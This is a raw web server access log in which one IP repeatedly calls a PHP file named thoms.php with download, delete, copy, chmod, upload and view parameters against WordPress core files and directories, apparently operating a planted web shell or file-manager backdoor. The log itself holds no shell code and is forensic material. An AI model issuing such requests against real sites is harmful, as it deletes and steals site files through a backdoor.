45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?dl=wp-activate.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?del=wp-cron.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19204 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19201 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?dl=wp-activate.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-comments-post.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&settings=1 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?dl=license.txt&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19202 "https://163.245.207.76/thoms.php?dl=license.txt&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=readme.html HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?dl=readme.html&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19204 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?dl=thoms.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?dl=readme.html&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?dl=wp-login.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?dl=thoms.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?del=xmlrpc.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19204 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?dl=wp-login.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?chmod=wp-login.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?del=xmlrpc.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&upload= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?del=readme.html&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?chmod=wp-login.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19202 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19200 "https://163.245.207.76/thoms.php?del=readme.html&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?chmod=wp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19202 "https://163.245.207.76/thoms.php?dl=wp-blog-header.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-blog-header.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?chmod=wp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-signup.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19202 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?dl=xmlrpc.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=license.txt HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19202 "https://163.245.207.76/thoms.php?dl=xmlrpc.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?del=wp-signup.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19201 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?dl=wp-mail.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19219 "https://163.245.207.76/thoms.php?chmod=wp-links-opml.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19232 "https://163.245.207.76/thoms.php?del=wp-signup.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?del=wp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?dl=wp-mail.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?chmod=thoms.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?del=wp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?chmod=thoms.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19213 "https://163.245.207.76/thoms.php?chmod=wp-config-sample.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?chmod=readme.html&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?chmod=readme.html&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?chmod=mah.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19123 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?chmod=mah.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?del=wp-config-sample.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19213 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19213 "https://163.245.207.76/thoms.php?chmod=wp-blog-header.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19202 "https://163.245.207.76/thoms.php?del=wp-config-sample.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?del=wp-activate.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?dl=wp-load.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19201 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Findex.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19202 "https://163.245.207.76/thoms.php?del=wp-activate.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?del=index.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?dl=wp-load.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?chmod=wp-activate.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19213 "https://163.245.207.76/thoms.php?del=index.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?chmod=wp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?chmod=wp-activate.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19213 "https://163.245.207.76/thoms.php?chmod=wp-trackback.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
